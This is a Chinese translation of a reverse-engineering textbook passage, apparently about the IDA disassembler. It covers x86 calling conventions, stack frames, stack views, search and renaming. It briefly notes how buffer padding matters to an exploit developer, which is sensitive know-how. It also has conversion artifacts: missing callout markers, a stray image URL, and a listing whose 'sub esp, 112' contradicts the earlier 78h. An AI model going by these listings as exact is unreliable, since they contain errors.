大多数 C 编译器用于 x86 架构的默认调用约定被称为C 调用约定。C/C++程序可以使用_cdecl修饰符强制编译器在默认调用约定可能已被覆盖时使用 C 调用约定。从现在起,我们将此调用约定称为cdecl调用约定。cdecl调用约定指定调用者将函数的参数按从右到左的顺序放置在堆栈上,并且调用者(而不是被调用者)在调用函数完成后从堆栈上移除参数。

将参数按从右到左的顺序放置在堆栈上的一个结果是,当函数被调用时,函数的最左端(第一个)参数将始终位于堆栈的顶部。这使得无论函数期望多少参数,第一个参数都很容易找到,并且这使得cdecl调用约定非常适合用于可以接受可变数量参数的函数(如printf)。

要求调用函数从堆栈中移除参数意味着你经常会看到在调用函数返回后立即调整程序堆栈指针的指令。对于可以接受可变数量参数的函数,调用者非常适合进行这种调整,因为调用者确切地知道它选择了多少参数传递给函数,并且可以轻松地进行正确的调整,而调用函数事先永远不知道它可能接收多少参数,并且很难进行必要的堆栈调整。

在以下示例中,我们考虑对具有以下原型的函数的调用:

void demo_cdecl(int w, int x, int y, int z);

默认情况下,此函数将使用cdecl调用约定,期望四个参数按从右到左的顺序压入,并要求调用者清理堆栈上的参数。编译器可能会生成如下调用此函数的代码:

; demo_cdecl(1, 2, 3, 4);   //programmer calls demo_cdecl
 push   4           ; push parameter z
  push   3           ; push parameter y
  push   2           ; push parameter x
  push   1           ; push parameter w
  call   demo_cdecl  ; call the function
 add    esp, 16     ; adjust esp to its former value

开始的四个 push 操作导致程序栈指针(ESP)净变化为 16 字节(在 32 位架构上为 4 * sizeof(int)),在从 demo_cdecl 返回后通过 进行撤销。如果 demo_cdecl 被调用 50 次,每次调用之后都会进行类似的调整。以下示例也遵循 cdecl 调用约定,同时消除了调用者每次调用 demo_cdecl 后显式清理栈上参数的需求。

; demo_cdecl(1, 2, 3, 4);   //programmer calls demo_cdecl
   mov   [esp+12], 4   ; move parameter z to fourth position on stack
   mov   [esp+8], 3    ; move parameter y to third position on stack
   mov   [esp+4], 2    ; move parameter x to second position on stack
   mov   [esp], 1      ; move parameter w to top of stack
   call   demo_cdecl  ; call the function

在这个例子中,编译器在函数前导部分为 demo_cdecl 的参数在栈顶预分配了存储空间。当 demo_cdecl 的参数放置在栈上时,程序栈指针没有变化,这消除了在 demo_cdecl 调用完成后调整栈指针的需求。GNU 编译器(gcc 和 g++)利用这种技术将函数参数放置到栈上。

注意,两种方法都会导致在函数调用时栈指针指向最左边的参数。

标准调用约定

在这个例子中,“标准”一词有点名不副实,因为它是一个微软为其自己的调用约定创建的名称,该约定在函数声明中使用 _stdcall 修饰符,如下所示:

void _stdcall demo_stdcall(int w, int x, int y);

为了避免对“标准”一词的任何混淆,我们将在此书余下的部分中将此调用约定称为 stdcall 调用约定。

cdecl 调用约定一样,stdcall 要求函数参数以从右到左的顺序放置在程序栈上。使用 stdcall 的区别在于,被调用的函数负责在函数完成后清理函数参数从栈上。为了执行此操作,函数必须确切知道栈上有多少个参数。这仅适用于接受固定数量参数的函数。因此,像 printf 这样的可变参数函数无法使用 stdcall 调用约定。例如,demo_stdcall 函数期望有三个整数参数,在栈上总共占用 12 字节(在 32 位架构上为 3 * sizeof(int))。x86 编译器可以使用 RET 指令的特殊形式,同时从栈顶弹出返回地址并将 12 加到栈指针上以清理函数参数。在 demo_stdcall 的情况下,我们可能会看到以下指令用于返回给调用者:

ret 12     ; return and clear 12 bytes from the stack

使用stdcall的主要优势是消除了在每个函数调用后清理栈上参数的代码,这导致程序稍微小一些,稍微快一些。按照惯例,Microsoft 为从共享库(DLL)文件导出的所有固定参数函数使用stdcall约定。如果你试图生成函数原型或任何共享库组件的二进制兼容替代品,这是一个需要记住的重要点。

x86 的 fastcall 约定

stdcall约定的一个变体,fastcall调用约定通过 CPU 寄存器而不是程序栈传递最多两个参数。Microsoft Visual C/C++和 GNU gcc/g++(版本 3.4 及以后)编译器在函数声明中识别fastcall修饰符。当指定fastcall时,传递给函数的前两个参数将分别放置在 ECX 和 EDX 寄存器中。任何剩余的参数都按右到左的顺序放置在栈上,类似于stdcall。同样,与stdcall类似,fastcall函数在返回调用者时负责从栈中移除参数。以下声明演示了fastcall修饰符的使用。

void fastcall demo_fastcall(int w, int x, int y, int z);

编译器可能会生成以下代码来调用demo_fastcall

; demo_fastcall(1, 2, 3, 4);   //programmer calls demo_fastcall
   push   4              ; move parameter z to second position on stack
   push   3              ; move parameter y to top position on stack
   mov    edx, 2         ; move parameter x to edx
   mov    ecx, 1         ; move parameter w to ecx
   call   demo_fastcall  ; call the function

注意,从demo_fastcall的调用返回时不需要进行栈调整,因为demo_fastcall负责在返回调用者时清除参数yz。重要的是要理解,由于有两个参数通过寄存器传递,即使函数有四个参数,调用函数只需要从栈中清除 8 个字节。

C++调用约定

C++类中的非静态成员函数与标准函数不同,因为它们必须提供指向用于调用该函数的对象的this指针。用于调用该函数的对象的地址必须由调用者提供,因此在调用非静态成员函数时作为参数提供。C++语言标准没有指定this应该如何传递给非静态成员函数,因此不同编译器在传递this时使用不同的技术并不令人惊讶。

Microsoft Visual C++提供了thiscall调用约定,它将this传递到 ECX 寄存器,并要求非静态成员函数像stdcall一样清理堆栈上的参数。GNU g++编译器将this视为任何非静态成员函数的隐含第一个参数,并在所有其他方面表现得像使用了cdecl约定。因此,对于g++编译的代码,this在调用非静态成员函数之前放在堆栈顶部,调用者负责在函数返回后从堆栈中移除参数(将始终至少有一个)。编译后的 C++的附加功能将在第八章中讨论。

其他调用约定

完全覆盖每个现有的调用约定需要一本专著。调用约定通常是语言、编译器和 CPU 特定的,当你遇到由不太常见的编译器生成的代码时,可能需要进行一些研究。然而,有一些情况值得特别提及:优化代码、自定义汇编语言代码和系统调用。

当函数被导出供其他程序员使用(例如库函数)时,它们遵循众所周知的调用约定非常重要,这样程序员可以轻松地与这些函数接口。另一方面,如果一个函数仅用于程序内部,那么该函数使用的调用约定只需要在该函数的程序内部知晓。在这种情况下,优化编译器可能会选择使用不同的调用约定以生成更快的代码。可能发生这种情况的实例包括使用 Microsoft Visual C++的/GL选项和使用 GNU gcc/g++的regparm关键字。

当程序员费心使用汇编语言时,他们可以完全控制参数如何传递到他们创建的任何函数。除非他们希望使他们的函数可供其他程序员使用,汇编语言程序员可以自由地以他们认为合适的方式传递参数。因此,在分析自定义汇编代码时,你可能需要格外小心。自定义汇编代码通常在混淆例程和 shellcode 中遇到。

系统调用是一种特殊类型的函数调用,用于请求操作系统服务。系统调用通常在用户模式到内核模式之间实现状态转换,以便操作系统内核处理用户请求。系统调用启动的方式因操作系统和 CPU 而异。例如,Linux x86 系统调用可能使用int 0x80指令或sysenter指令启动,而其他 x86 操作系统可能仅使用sysenter指令或不同的中断号。在许多 x86 系统上(Linux 除外),系统调用参数放置在运行时栈上,并在启动系统调用之前将系统调用号放置在 EAX 寄存器中。Linux 系统调用接受其参数在特定寄存器中,有时在内存中(当参数多于可用寄存器时)。

局部变量布局

与规定参数传递方式的调用约定不同,没有约定强制规定函数局部变量的布局。在编译函数时,编译器面临的一个任务是计算函数局部变量所需的空间量。另一个任务是确定这些变量是否可以分配在 CPU 寄存器中,或者是否必须在程序栈上分配。这些分配的确切方式对函数的调用者以及可能被调用的任何函数都无关紧要。最值得注意的是,通常无法通过检查函数的源代码来确定函数的局部变量布局。

栈帧示例

考虑以下在基于 32 位 x86 的计算机上编译的函数:

void bar(int j, int k);   // a function to call
void demo_stackframe(int a, int b, int c) {
   int x;
   char buffer[64];
   int y;
   int z;
   // body of function not terribly relevant other than
   bar(z, y);
}

我们计算局部变量所需的最小栈空间为 76 字节(三个 4 字节整数和一个 64 字节缓冲区)。此函数可以使用stdcallcdecl,栈帧看起来将相同。图 6-3 显示了demo_stackframe调用的一种可能的栈帧实现,假设没有使用帧指针寄存器(因此栈指针 ESP 充当帧指针)。此栈帧将在demo_stackframe的入口处设置,使用一行前导代码:

sub   esp, 76     ; allocate sufficient space for all local variables

偏移列指示引用栈帧中任何局部变量或参数所需的基址+位移地址。

基于 ESP 的栈帧

图 6-3. 基于 ESP 的栈帧

生成利用栈指针计算所有变量引用的函数需要编译器付出更多努力,因为栈指针频繁变化,编译器必须确保在引用栈帧内的任何变量时始终使用正确的偏移量。考虑在 demo_stackframe 函数中对 bar 的调用,其代码如下:

 push   dword [esp+4]     ; push y
 push   dword [esp+4]     ; push z
  call   bar
  add    esp, 8              ; cdecl requires caller to clear parameters

图 处的 push 指令正确地根据 图 6-3 中的偏移量将局部变量 y 压入栈中。乍一看,图 处的 push 指令似乎错误地再次引用了局部变量 y。然而,因为我们处理的是基于 ESP 的帧,且 图 处的 push 修改了 ESP,所以每当 ESP 发生变化时,图 6-3 中的所有偏移量都必须临时调整。在 图 之后,局部变量 z 的新偏移量变为 [esp+4],正如 图 处的 push 指令中所正确引用的那样。在检查使用栈指针引用栈帧变量的函数时,必须注意栈指针的任何变化,并相应地调整所有未来的变量偏移量。使用栈指针引用所有栈帧变量的一个优点是,所有其他寄存器都可用于其他目的。

一旦 demo_stackframe 完成执行,它需要返回调用者。最终将使用 ret 指令从栈顶弹出所需的返回地址到指令指针寄存器(在本例中为 EIP)。在返回地址弹出之前,需要从栈顶移除局部变量,以便在执行 ret 指令时栈指针能够正确地指向保存的返回地址。对于这个特定的函数,其结束部分变为

add     esp, 76     ; adjust esp to point to the saved return address
ret                 ; return to the caller

通过为帧指针分配一个寄存器并添加一些在函数入口配置帧指针的代码,可以简化计算局部变量偏移量的工作。在 x86 程序中,EBP(扩展基指针)寄存器通常被专门用于作为栈帧指针。默认情况下,大多数编译器生成的代码会使用帧指针,尽管通常存在指定应使用栈指针的选项。例如,GNU gcc/g++ 提供了 -fomit-frame-pointer 编译器选项,该选项生成的函数不依赖于固定的帧指针寄存器。

为了使用专门的帧指针查看 demo_stackframe 的栈帧结构,我们需要考虑这个新的前导代码:

 push    ebp        ; save the caller's ebp value
 mov     ebp, esp   ; make ebp point to the saved register value
 sub     esp, 76    ; allocate space for local variables

此处push指令保存了调用者当前使用的 EBP 值。遵循 Intel 32 位处理器 System V 应用程序二进制接口的函数^([43])允许修改 EAX、ECX 和 EDX 寄存器,但必须保留调用者所有其他寄存器的值。因此,如果我们想使用 EBP 作为帧指针,我们必须在更改它之前保存当前的 EBP 值,并且在返回调用者之前必须恢复 EBP 的值。如果需要代表调用者保存其他寄存器(例如 ESI 或 EDI),编译器可以选择在保存 EBP 的同时保存它们,或者它们可以选择在分配局部变量之后延迟保存。因此,在堆栈帧中没有标准的位置用于保存已保存的寄存器。

保存 EBP 之后,它可以改变以指向当前的堆栈位置。这是通过此处mov指令实现的,该指令将当前堆栈指针的值复制到 EBP 中。最后,就像在非 EBP 基于的堆栈帧中一样,在此处分配了局部变量的空间。结果堆栈帧布局如图 6-4 所示。

基于 EBP 的堆栈帧

图 6-4. 基于 EBP 的堆栈帧

使用专门的帧指针,所有变量偏移量都是相对于帧指针寄存器计算的。通常情况下(尽管并非总是如此),正偏移量用于访问函数参数,而负偏移量用于访问局部变量。在使用专门的帧指针的情况下,栈指针可以自由更改,而不会影响帧内任何变量的偏移量。函数bar的调用现在可以如下实现:

 push   dword [ebp-72]       ; push y
  push   dword [ebp-76]       ; push z
  call   bar
  add    esp, 8               ; cdecl requires caller to clear parameters

此处push之后栈指针的变化对后续push中对局部变量z的访问没有影响。

最后,函数完成后,使用帧指针需要稍微不同的结尾,因为调用者的帧指针必须在返回之前恢复。在恢复旧帧指针的旧值之前,必须从栈中清除局部变量,但这一点通过当前帧指针指向旧帧指针的事实变得容易。在利用 EBP 作为帧指针的 x86 程序中,以下代码代表了一个典型的结尾:

mov    esp, ebp      ; clears local variables by reseting esp
pop    ebp           ; restore the caller's value of ebp
ret                  ; pop return address to return to the caller

这种操作如此常见,以至于 x86 架构提供了leave指令作为完成相同任务的简写方式。

leave                ; copies ebp to esp AND then pops into ebp
ret                  ; pop return address to return to the caller

虽然其他处理器架构使用的寄存器和指令的名称肯定会不同,但构建栈帧的基本过程将保持不变。无论架构如何,你都应该熟悉典型的序言和尾声序列,这样你就可以快速转向分析函数内部更有趣的代码。

IDA 栈视图

栈帧显然是一个运行时概念;没有栈和没有正在运行程序,栈帧就无法存在。虽然这是真的,但这并不意味着你在使用 ID 等工具进行静态分析时应该忽略栈帧的概念。为每个函数设置栈帧所需的全部代码都包含在二进制文件中。通过仔细分析这段代码,我们可以在函数未运行时对其栈帧结构获得详细的理解。实际上,IDA 的一些最复杂分析正是为了确定 IDA 反汇编的每个函数的栈帧布局。在初始分析期间,IDA 会不遗余力地通过记录每次pushpop操作以及可能改变栈指针的算术操作(如添加或减去常量值)来监控函数执行过程中栈指针的行为。这次分析的首要目标是确定分配给函数栈帧的局部变量区域的确切大小。其他目标包括确定在给定函数中是否使用了专用帧指针(例如,通过识别push ebp/mov ebp, esp序列)以及识别函数栈帧内所有变量的内存引用。例如,如果 IDA 在demo_stackframe的主体中注意到以下指令:

mov    eax, [ebp+8]

它会理解函数的第一个参数(在这种情况下是a)被加载到 EAX 寄存器中(参见图 6-4)。通过仔细分析栈帧结构,IDA 可以区分访问函数参数(位于保存的返回地址下方)和访问局部变量(位于保存的返回地址上方)的内存引用。IDA 还采取额外的步骤来确定栈帧中哪些内存位置被直接引用。例如,虽然图 6-4 中的栈帧大小为 96 字节,但我们可能只会看到七个变量被引用(四个局部变量和三个参数)。

理解函数的行为通常归结于理解函数操作的数据类型。在阅读反汇编列表时,你将有机会了解函数操作的数据,那就是查看函数栈帧的分解。IDA 为任何函数的栈帧提供两种视图:总结视图和详细视图。为了理解这两种视图,我们将参考以下使用 gcc 编译的 demo_stackframe 版本。

void demo_stackframe(int a, int b, int c) {
   int x = c;
   char buffer[64];
   int y = b;
   int z = 10;
   buffer[0] = 'A';
   bar(z, y);
}

在这个例子中,局部变量 xy 分别从参数 cb 初始化。局部变量 z 使用常量值 10 初始化,64 字节局部数组 buffer 的第一个字符初始化为字母 'A'。这个函数对应的 IDA 反汇编代码如下。

.text:00401090 ; ========= S U B R O U T I N E ===========================
    .text:00401090
    .text:00401090 ; Attributes: bp-based frame
    .text:00401090
    .text:00401090 demo_stackframe proc near      ; CODE XREF: sub_4010C1+41↓p
    .text:00401090
   .text:00401090 var_60          = dword ptr −60h
    .text:00401090 var_5C          = dword ptr −5Ch
    .text:00401090 var_58          = byte ptr −58h
    .text:00401090 var_C           = dword ptr −0Ch
    .text:00401090 arg_4           = dword ptr  0Ch
    .text:00401090 arg_8           = dword ptr  10h
    .text:00401090
    .text:00401090                 push    ebp
    .text:00401091                 mov     ebp, esp
    .text:00401093                 sub     esp, 78h
    .text:00401096                 mov     eax, [ebp+arg_8]
      .text:00401099                mov     [ebp+var_C], eax
    .text:0040109C                mov     eax, [ebp+arg_4]
    .text:0040109F                mov     [ebp+var_5C], eax
    .text:004010A2                mov     [ebp+var_60], 0Ah
    .text:004010A9                mov     [ebp+var_58], 41h
    .text:004010AD                 mov     eax, [ebp+var_5C]
    .text:004010B0                mov     [esp+4], eax
    .text:004010B4                 mov     eax, [ebp+var_60]
    .text:004010B7                mov     [esp], eax
    .text:004010BA                 call    bar
    .text:004010BF                 leave
    .text:004010C0                 retn
    .text:004010C0 demo_stackframe endp

在我们开始熟悉 IDA 的反汇编符号时,这个列表中有许多要点需要涵盖。我们从 开始,注意到 IDA 根据对函数前导的分析认为这个函数使用 EBP 寄存器作为帧指针。在 我们了解到 gcc 在栈帧中为局部变量分配了 120 字节(78h 等于 120)的空间。这包括为在 处的 bar 函数传递两个参数而分配的 8 字节,但这仍然远大于我们之前估计的 76 字节,并表明编译器有时会通过额外的字节填充局部变量空间,以确保栈帧中的特定对齐。从 开始,IDA 提供了一个总结的栈视图,列出了在栈帧中直接引用的每个变量,以及变量的大小和从帧指针的偏移距离。

IDA 根据变量相对于保存的返回地址的位置来分配变量名称。局部变量位于保存的返回地址之上,而函数参数位于保存的返回地址之下。局部变量名称是通过使用var_前缀与表示变量相对于保存的帧指针的字节距离的十六进制后缀结合来派生的。在这个例子中,局部变量var_C是一个 4 字节(dword)变量,位于保存的帧指针之上 12 字节([ebp-0Ch])。函数参数名称是通过使用arg_前缀与表示从最高参数的相对距离的十六进制后缀结合来生成的。因此,最顶部的 4 字节参数将被命名为arg_0,而后续的参数将被命名为arg_4arg_8arg_C等等。在这个特定的例子中,arg_0没有被列出,因为该函数没有使用参数a。由于 IDA 未能定位到 [ebp+8](第一个参数的位置)的任何内存引用,arg_0在总结栈视图中没有被列出。快速扫描总结栈视图可以发现,由于程序代码中不存在对这些位置的直接引用,IDA 未能为许多栈位置命名。

注意

IDA 将自动为那些在函数内部直接引用的栈变量生成名称。

IDA 的汇编列表与我们之前执行的栈帧分析之间的重要区别在于,在汇编列表中我们看不到类似于 [ebp-12] 的内存引用。相反,IDA 用与栈视图中的符号及其相对于栈帧指针的相对偏移相对应的符号名称替换了所有常量偏移。这与 IDA 生成高级汇编的目标相一致。处理符号名称比处理数字常数要简单得多。实际上,正如我们稍后将看到的,IDA 允许我们将任何栈变量的名称更改为我们想要的任何名称,这使得名称更容易记住。总结栈视图充当从 IDA 生成的名称到其对应的栈帧偏移的映射。例如,在汇编中出现的内存引用 [ebp+arg_8],可以使用 [ebp+10h][ebp+16] 代替。如果您更喜欢数字偏移,IDA 会乐意向您展示。在httpatomoreillycomsourcenostarchimages854099.png处的arg_8上右键单击,会显示图 6-5 中所示的相关上下文菜单,其中包含几个更改显示格式的选项。

选择一个替代显示格式

图 6-5. 选择一个替代显示格式

在这个例子中,由于我们有可用的源代码进行比较,我们可以使用反汇编中可用的各种线索将 IDA 生成的变量名映射回原始源代码中使用的名称。

  1. 首先,demo_stackframe函数接受三个参数:abc。它们分别对应于变量arg_0arg_4arg_8(尽管arg_0在反汇编中缺失,因为它从未被引用过)。

  2. 局部变量x是从参数c初始化的。因此var_C对应于x,因为它是从arg_8初始化的,如更多所示。

  3. 同样,局部变量y是从参数b初始化的。因此,var_5C对应于y,因为它是从arg_4初始化的,如更多所示。

  4. 局部变量z对应于var_60,因为它初始化为 10,如更多所示。

  5. 64 字节的字符数组buffervar_58开始,因为buffer[0]被初始化为A(ASCII 0x41),如更多所示。

  6. 在调用bar时,两个参数被移动到堆栈中更多,而不是推送到堆栈。这在当前版本的 gcc(版本 3.4 及以后)中很典型。IDA 识别这个约定,并选择不为堆栈帧顶部的两个项目创建局部变量引用。

除了总结堆栈视图之外,IDA 还提供了一个详细的堆栈帧视图,其中对分配给每个堆栈帧的每个字节都进行了记录。通过双击与给定堆栈帧相关联的任何变量名可以访问详细视图。双击前一个列表中的var_C将显示图 6-6 中所示的堆栈帧视图(按 Esc 键关闭窗口)。

IDA 堆栈帧视图

图 6-6. IDA 堆栈帧视图

由于详细视图考虑了堆栈帧中的每一个字节,它占用的空间比只列出引用变量的摘要视图大得多。在图 6-6 中显示的堆栈帧部分总共占用 32 字节,这仅代表整个堆栈帧的一小部分。请注意,没有直接在函数内部引用的字节没有被分配名称。例如,参数a对应于arg_0,在demo_stackframe中从未被引用。由于没有内存引用进行分析,IDA 选择不对堆栈帧中相应的字节进行操作,这些字节占用偏移量+00000008+0000000B。另一方面,arg_4在反汇编列表中的处被直接引用,其内容被加载到 32 位 EAX 寄存器中。基于移动了 32 位数据的事实,IDA 能够推断出arg_4是一个 4 字节量,并将其标记为这样(db定义 1 字节的存储;dw定义 2 字节的存储,也称为dd定义 4 字节的存储,也称为双字)。

在图 6-6 中显示的两个特殊值是“ s”和“ r”(每个都以一个前置空格开头)。这些伪变量是 IDA 对保存的返回地址(“ r”)和保存的寄存器值(在本例中,“ s”仅代表 EBP)的特殊表示。这些值包含在堆栈帧视图中以保持完整性,因为堆栈帧中的每一个字节都被考虑在内。

栈帧视图提供了对编译器内部工作原理的详细观察。在图 6-6 中可以清楚地看到,编译器在保存的帧指针“s”和局部变量x(var_C)之间插入了 8 个额外的字节。这些字节占据了栈帧中的−00000001−00000008的偏移量。此外,对总结视图中列出的每个变量的偏移量进行一些数学运算,可以发现编译器为var_58中的字符缓冲区分配了 76 个字节(而不是源代码中的 64 个字节)。除非你恰好是编译器编写者或者愿意深入研究 gcc 的源代码,否则你所能做的就是推测为什么以这种方式分配这些额外的字节。在大多数情况下,我们可以将这些额外的字节归因于对齐的填充,并且通常这些额外的字节对程序的行为没有影响。毕竟,如果一个程序员请求 64 个字节并得到了 76 个字节,程序的行为应该没有不同,尤其是程序员不应该使用超过请求的 64 个字节。另一方面,如果你恰好是漏洞开发者并且了解到可以溢出这个特定的缓冲区,那么你可能会对这样一个事实非常感兴趣:直到你提供了至少 76 个字节,也就是编译器所认为的缓冲区的有效大小,才可能发生任何有趣的事情。在第八章中,我们将回到栈帧视图及其在处理更复杂的类型,如数组和结构体时的用途。


^([42]) 栈帧指针是一个指向栈帧内部位置的寄存器。栈帧内的变量通常通过它们与栈帧指针指向的位置的相对距离来引用。

^([43]) 见www.sco.com/developers/devspecs/abi386-4.pdf

搜索数据库

IDA 使您能够轻松导航到已知的内容,并设计了许多数据显示来总结特定类型的信息(名称、字符串、导入等),使它们也易于查找。然而,提供了哪些功能来帮助您在数据库中进行更通用的搜索?如果您花时间查看搜索菜单的内容,您会发现一个长长的选项列表,其中大部分会将您带到某个类别的下一个项目。例如,搜索 ▸ 下一个代码会将光标移动到包含指令的下一个位置。您还可能希望熟悉跳转菜单上的选项。对于这些选项中的许多,您将看到一个可以选择的位置列表。例如,跳转 ▸ 跳转到函数会弹出一个包含所有函数的列表,让您可以快速选择一个并导航到它。虽然这些预定义的搜索功能可能经常很有用,但两种通用搜索类型值得更详细的讨论:文本搜索和二进制搜索。

文本搜索

IDA 的文本搜索相当于在反汇编列表视图中进行子串搜索。文本搜索通过搜索 ▸ 文本(快捷键:alt-T)启动,打开如图 图 6-7 所示的对话框。一些自解释的选项规定了要执行搜索的具体细节。如图所示,允许使用 POSIX 风格的正则表达式。标识符搜索的名称有些误导。实际上,它限制搜索只查找整个单词,并且可以匹配汇编行上的任何整个单词,包括操作码助记符或常量值。对 401116 的标识符搜索将无法找到名为 loc_401116 的符号。

选择查找所有匹配项会导致搜索结果在一个新窗口中打开,允许轻松导航到任何单个匹配项。最后,可以使用 ctrl-T 或搜索 ▸ 下一个文本重复之前的搜索以定位下一个匹配项。

文本搜索对话框

图 6-7. 文本搜索对话框

二进制搜索

如果你需要搜索特定的二进制内容,例如已知的字节序列,则文本搜索不是答案。相反,你需要使用 IDA 的二进制搜索功能。虽然文本搜索搜索反汇编窗口,但二进制搜索将只搜索十六进制视图窗口的内容部分。可以搜索十六进制转储或 ASCII 转储,具体取决于如何指定搜索字符串。使用“搜索 ▸ 字节序列”或 alt-B 启动二进制搜索。图 6-8 显示了二进制搜索对话框。要搜索一系列十六进制字节,搜索字符串应指定为两个十六进制值的空间分隔列表,例如CA FE BA BE,这提供了与搜索ca fe ba be相同的行为,尽管有“区分大小写”选项可用。

要搜索嵌入的字符串数据(实际上是在搜索十六进制视图窗口的 ASCII 转储部分),你必须用引号包围搜索字符串。使用 Unicode 字符串选项来搜索搜索字符串的 Unicode 版本。

“区分大小写”选项可能会引起混淆。对于字符串搜索来说,这相当直接;如果没有选择“区分大小写”,则搜索“hello”将成功找到“HELLO”。如果你执行了十六进制搜索并且没有勾选“区分大小写”,事情会变得有点有趣。如果你对E9 41 C3进行不区分大小写的搜索,当你发现搜索匹配E9 61 C3时可能会感到惊讶。这两个字符串被认为是匹配的,因为 0x41 对应于字符A,而 0x61 对应于a。所以,即使你指定了十六进制搜索,0x41 也被认为是等同于 0x61 的,因为你没有指定区分大小写的搜索。

二进制搜索对话框

图 6-8. 二进制搜索对话框

注意

在进行十六进制搜索时,确保如果你想要将搜索限制为精确匹配,则指定“区分大小写”。如果你正在搜索特定的操作码序列而不是 ASCII 文本,这一点非常重要。

使用 ctrl-B 或“搜索 ▸ 下一个字节序列”来搜索二进制数据的后续匹配。最后,没有必要在十六进制视图窗口内进行二进制搜索。IDA 允许你在反汇编视图活动时指定二进制搜索条件,在这种情况下,成功的搜索将跳转到与指定搜索条件匹配的底层字节的位置。

摘要

本章的目的是为你提供有效导航反汇编所需的最基本技能。你与 IDA 的大多数交互将涉及我们迄今为止讨论的操作。在安全掌握导航之后,下一个合乎逻辑的步骤是学习如何修改 IDA 数据库以适应你的特定需求。在下一章中,我们将开始探讨如何通过理解二进制的内容和行为来添加新知识,从而对反汇编进行最基本的更改。

第七章. 反汇编操作

无标题图片

导航之后,IDA 的下一个最重要的功能设计是为了让你能够修改反汇编代码以适应你的需求。在本章中,我们将展示由于 IDA 的底层数据库特性,你对反汇编所做的更改可以轻松传播到 IDA 的所有子视图中,以保持反汇编的一致性视图。IDA 提供的一项最强大的功能是能够轻松地操作反汇编代码,以添加新信息或重新格式化列表以适应你的特定需求。当这样做有意义时,IDA 会自动处理全局搜索和替换等操作,并将重新格式化指令和数据以及反之的操作变得简单,这些功能在其他反汇编工具中不可用。

注意

记住:在 IDA 中没有撤销操作。在你开始操作数据库时,请记住这一点。你所能得到的最佳选择是经常保存数据库,并回滚到最近保存的数据库版本。

名称和命名

到目前为止,我们在 IDA 反汇编中遇到了两类名称:与虚拟地址(命名位置)相关的名称和与栈帧变量相关的名称。在大多数情况下,IDA 将自动根据之前讨论的指南生成所有这些名称。IDA 将这些自动生成的名称称为占位名称

不幸的是,这些名称很少暗示位置或变量的预期用途,因此通常不会增加我们对程序行为的理解。当你开始分析任何程序时,你将想要操纵反汇编列表的第一种和最常见的方法之一是将默认名称更改为更有意义的名称。幸运的是,IDA 允许你轻松地更改任何名称,并处理在整个反汇编中传播所有名称更改的所有细节。在大多数情况下,更改名称就像单击你想要更改的名称(这将突出显示名称)并使用 N 快捷键打开名称更改对话框一样简单。或者,右键单击要更改的名称通常会出现一个上下文相关的菜单,其中包含一个重命名选项,如图 图 6-5 所示。名称更改过程在栈变量和命名位置之间略有不同,这些差异将在以下各节中详细说明。

参数和局部变量

与栈变量关联的名称是反汇编列表中最简单的名称形式,主要是因为它们与特定的虚拟地址无关,因此永远不会出现在名称窗口中。与大多数编程语言一样,这些名称被认为是基于给定栈帧所属的函数的作用域受限。因此,程序中的每个函数可能都有自己的名为 arg_0 的栈变量,但没有任何函数可以有多个名为 arg_0 的变量。用于重命名栈变量的对话框如图 图 7-1 所示。

重命名栈变量

图 7-1. 重命名栈变量

一旦提供了新的名称,IDA 会负责更改当前函数上下文中旧名称的所有出现。将 var_5C 的名称更改为 y 用于 demo_stackframe 将导致此处显示的新列表,其中包含在 图 的更改。

.text:00401090 ; =========== S U B R O U T I N E =========================
.text:00401090
.text:00401090 ; Attributes: bp-based frame
.text:00401090
.text:00401090 demo_stackframe proc near      ; CODE XREF: sub_4010C1+41↓p
.text:00401090
.text:00401090 var_60          = dword ptr −60h
.text:00401090 y             = dword ptr −5Ch
.text:00401090 var_58          = byte ptr −58h
.text:00401090 var_C           = dword ptr −0Ch
.text:00401090 arg_4           = dword ptr  0Ch
.text:00401090 arg_8           = dword ptr  10h
.text:00401090
.text:00401090                 push    ebp
.text:00401091                 mov     ebp, esp
.text:00401093                 sub     esp, 112
.text:00401096                 mov     eax, [ebp+arg_8]
.text:00401099                 mov     [ebp+var_C], eax
.text:0040109C                 mov     eax, [ebp+arg_4]
.text:0040109F                 mov     [ebp+y], eax
.text:004010A2                 mov     [ebp+var_60], 0Ah
.text:004010A9                 mov     [ebp+var_58], 41h
.text:004010AD                 mov     eax, [ebp+y]
.text:004010B0                 mov     [esp+4], eax
.text:004010B4                 mov     eax, [ebp+var_60]
.text:004010B7                 mov     [esp], eax
.text:004010BA                 call    bar
.text:004010BF                 leave
.text:004010C0                 retn
.text:004010C0 demo_stackframe endp

如果你希望恢复给定变量的默认名称,请打开重命名对话框并输入一个空名称,IDA 将为你生成默认名称。

命名位置

重命名命名位置或将名称添加到未命名的位置与更改栈变量名称略有不同。访问名称更改对话框的过程相同(快捷键 N),但情况很快就会改变。图 7-2 显示了与命名位置关联的重命名对话框。

此对话框会告诉你确切地命名了哪个地址,以及可以与该名称相关联的属性列表。最大名称长度仅从 IDA 的配置文件中的一个值(/cfg/ida.cfg)中回显。你可以使用比这个值更长的名称,这会导致 IDA 弱弱地提醒你已超出最大名称长度,并建议为你增加最大名称长度。如果你选择这样做,新的最大名称长度值将仅(弱弱地)在当前数据库中强制执行。你创建的任何新数据库将继续受配置文件中包含的最大名称长度的约束。

重命名位置

图 7-2. 重命名位置

以下属性可以与任何命名位置相关联:

局部名称

局部名称的范围限制在当前函数内,因此局部名称的唯一性仅在给定函数内强制执行。像局部变量一样,两个不同的函数可能包含相同的局部名称,但单个函数不能包含两个相同的局部名称。存在于函数边界之外的位置的命名位置不能指定为局部名称。这包括代表函数名称以及全局变量的名称。局部名称最常见的使用是为函数内跳转的目标提供符号名称,例如与分支控制结构相关联的名称。

包含在名称列表中

选择此选项会在名称窗口中添加一个名称,这可以使名称更容易找到,当你希望返回时。默认情况下,自动生成的(虚拟)名称永远不会包含在名称窗口中。

公共名称

公共名称通常是二进制文件(如共享库)导出的名称。IDA 的解析器通常在将文件头解析到数据库中时发现公共名称。你可以通过选择此属性强制将符号视为公共。通常,这除了在反汇编列表和名称窗口中添加公共注释外,对反汇编几乎没有影响。

自动生成名称

这个属性似乎对反汇编没有可察觉的影响。选择它不会导致 IDA 自动生成名称。

弱名称

弱符号是一种仅在找不到相同名称的公共符号来覆盖它时使用的特殊公共符号。将符号标记为弱符号对汇编器有一定的意义,但在 IDA 反汇编中意义不大。

无论如何创建名称

如前所述,函数内部不允许两个位置具有相同的名称。同样,任何函数外部(全局作用域内)的位置也不允许具有相同的名称。这个选项有些令人困惑,因为它的行为取决于你尝试创建的名称类型。

